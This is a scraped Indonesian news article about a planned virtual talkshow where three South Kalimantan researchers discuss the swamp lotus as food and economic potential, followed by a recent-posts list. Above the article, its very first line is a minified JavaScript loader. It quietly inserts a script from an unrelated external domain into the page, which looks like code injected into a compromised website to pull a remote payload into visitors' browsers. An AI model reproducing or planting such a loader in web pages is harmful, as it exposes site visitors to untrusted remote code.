(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Bahas Potensi Tanaman Rawa, 3 Ahli Rawa Ini Siap Berbagi Ilmu di Talkshow Virtual


KANALKALIMANTAN.COM, BANJARMASIN – Kalimantam Selatan memiliki potensi lahan rawa yang sangat menjanjikan, baik rawa pasang surut maupun rawa lebak. Salah satu sumber daya alam lahan rawa yang belum dimanfaatkan secara optimal yaitu tanaman teratai, padahal teratai adalah bunga rawa sejuta pesona.

Saat ini masyarakat Kalsel hanya memanfaatkan bijinya saja. Biji talipuk sebutan akrab tanaman teratai oleh warga Hulu Sungai Utara (Amuntai) dapat dimanfaatkan sebagai tepung maupun bahan baku pembuatan makanan khas Banjar yaitu bipang talipuk.

Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan Dra Hj Nurliani Dardie mengatakan, Dispersip Kalsel akan menghadirkan 3 Srikandi Rawa di Talkshow Virtual bersama Dispersip Kalsel pada 7 September 2020 mendatang.

Bunda Nunung, sapaan akrabnya juga mengatakan, diadakannya talkshow ini untuk ketersediaan dan kemudahan akses bahan pustaka dan sumber informasi yang bermutu, masyarakat dapat memanfaatkan perpustakaan untuk berbagi pengalaman dan melatih keterampilan. Agar memperoleh keahlian dan pekerjaan untuk meningkatkan kesejahteraan, perpustakaan menjadi ruang sinergisitas kegiatan kemasyarakatan di daerah agar bermanfaat dan berdampak di lingkungan masyarakat.

Ketika dikonfirmasi terkait alasan Perpustakaan Palnam mengangkat tanaman teratai, ia mengatakan bahwa dengan adanya acara ini kita dapat mengetahui tentang potensi bunga teratai yang saat ini terabaikan begitu saja Padahal potensi bunga teratai untuk kesejahteraan masyarakat Banua sangat menjanjikan.

“Karena itu kami akan menghadirkan 3 Srikandi Rawa yang merupakan peneliti tanaman teratai di Kalimantan Selatan,” kata Bunda Nunung, Selasa (11/8/2020)

Ketiga srikandi yang dimaksud Bunda Nunung tersebut adalah Dr Ir Rita Khairini MP (Dosen Prodi Teknologi Hasil Perikanan FKP ULM) yang akan membahas mengenai sejarah dan pengolahan teratai, Dr Yuspihana Fitrial S.Pi MSi (Dosen Prodi Teknologi Hasil Perikanan FKP ULM) yang akan membahas kandungan gizi dan potensi teratai sebagai bahan pangan fungsional, dan Bakti Nur Ismuhajaroh SP MP (Dosen Prodi Agronomi Faperta ULM/Kandidat Doktor Mahasiswa S3 dari Faperta UGM) yang akan membahas tentang Botani dan potensi pengembangan tanaman teratai di rawa lebak.

“Jadi narasumber kita ini memang orang yang sangat berkompeten di bidang tanaman teratai, jadi bunda mengimbau jangan sampai ketinggalan talksow virtual bersama 3 Srikandi Rawa kali ini,” tandas Bunda Nunung. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

6 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

6 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

6 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

11 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

13 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

14 jam ago

This website uses cookies.